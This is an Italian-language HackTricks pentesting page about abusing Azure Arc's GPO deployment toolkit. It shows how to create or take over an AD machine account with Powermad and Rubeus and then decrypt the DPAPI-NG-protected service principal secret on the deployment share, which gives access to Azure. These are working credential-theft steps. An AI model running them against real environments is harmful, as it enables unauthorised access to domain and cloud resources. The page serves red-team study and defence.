Az - Arc vulnerable GPO Deploy Script

Impara e pratica l'Hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

Identificazione dei Problemi

Azure Arc consente l'integrazione di nuovi server interni (server del dominio connessi) in Azure Arc utilizzando il metodo dell'oggetto Group Policy. Per facilitare ciò, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di integrazione. All'interno del file ArcEnableServerGroupPolicy.zip, è possibile trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1.

Quando eseguito, lo script DeployGPO.ps1 esegue le seguenti azioni:

  1. Crea il GPO di integrazione dei server Azure Arc all'interno del dominio locale.

  2. Copia lo script di integrazione EnableAzureArc.ps1 nella condivisione di rete designata creata per il processo di integrazione, che contiene anche il pacchetto di installazione di Windows.

Durante l'esecuzione di questo script, gli amministratori di sistema devono fornire due parametri principali: ServicePrincipalId e ServicePrincipalClientSecret. Inoltre, sono richiesti altri parametri come il dominio, l'FQDN del server che ospita la condivisione e il nome della condivisione. Ulteriori dettagli come l'ID tenant, il gruppo di risorse e altre informazioni necessarie devono essere forniti allo script.

Viene generato un segreto crittografato nella directory AzureArcDeploy sulla condivisione specificata utilizzando la crittografia DPAPI-NG. Il segreto crittografato viene memorizzato in un file chiamato encryptedServicePrincipalSecret. Evidenze di ciò possono essere trovate nello script DeployGPO.ps1, dove la crittografia viene eseguita chiamando ProtectBase64 con $descriptor e $ServicePrincipalSecret come input. Il descrittore è composto dai SID dei gruppi Domain Computer e Domain Controller, garantendo che il ServicePrincipalSecret possa essere decifrato solo dai gruppi di sicurezza Domain Controllers e Domain Computers, come indicato nei commenti dello script.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Sfruttare

Abbiamo le seguenti condizioni:

  1. Abbiamo penetrato con successo nella rete interna.

  2. Abbiamo la capacità di creare o assumere il controllo di un account computer all'interno di Active Directory.

  3. Abbiamo scoperto una condivisione di rete contenente la directory AzureArcDeploy.

Ci sono diversi metodi per ottenere un account macchina all'interno di un ambiente AD. Uno dei più comuni è sfruttare il limite dell'account macchina. Un altro metodo coinvolge il compromettere un account macchina attraverso ACL vulnerabili o varie altre misconfigurazioni.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Una volta ottenuto un account macchina, è possibile autenticarsi utilizzando questo account. Possiamo utilizzare il comando runas.exe con il flag netonly o utilizzare pass-the-ticket con Rubeus.exe.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

Utilizzando il TGT per il nostro account computer memorizzato in memoria, possiamo utilizzare lo script seguente per decrittare il segreto principale del servizio.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Alternativamente, possiamo utilizzare SecretManagement.DpapiNG.

A questo punto, possiamo raccogliere le informazioni rimanenti necessarie per connetterci ad Azure dal file ArcInfo.json, che è memorizzato nella stessa condivisione di rete del file encryptedServicePrincipalSecret. Questo file contiene dettagli come: TenantId, servicePrincipalClientId, ResourceGroup e altro. Con queste informazioni, possiamo utilizzare Azure CLI per autenticarci come il service principal compromesso.

Riferimenti

Last updated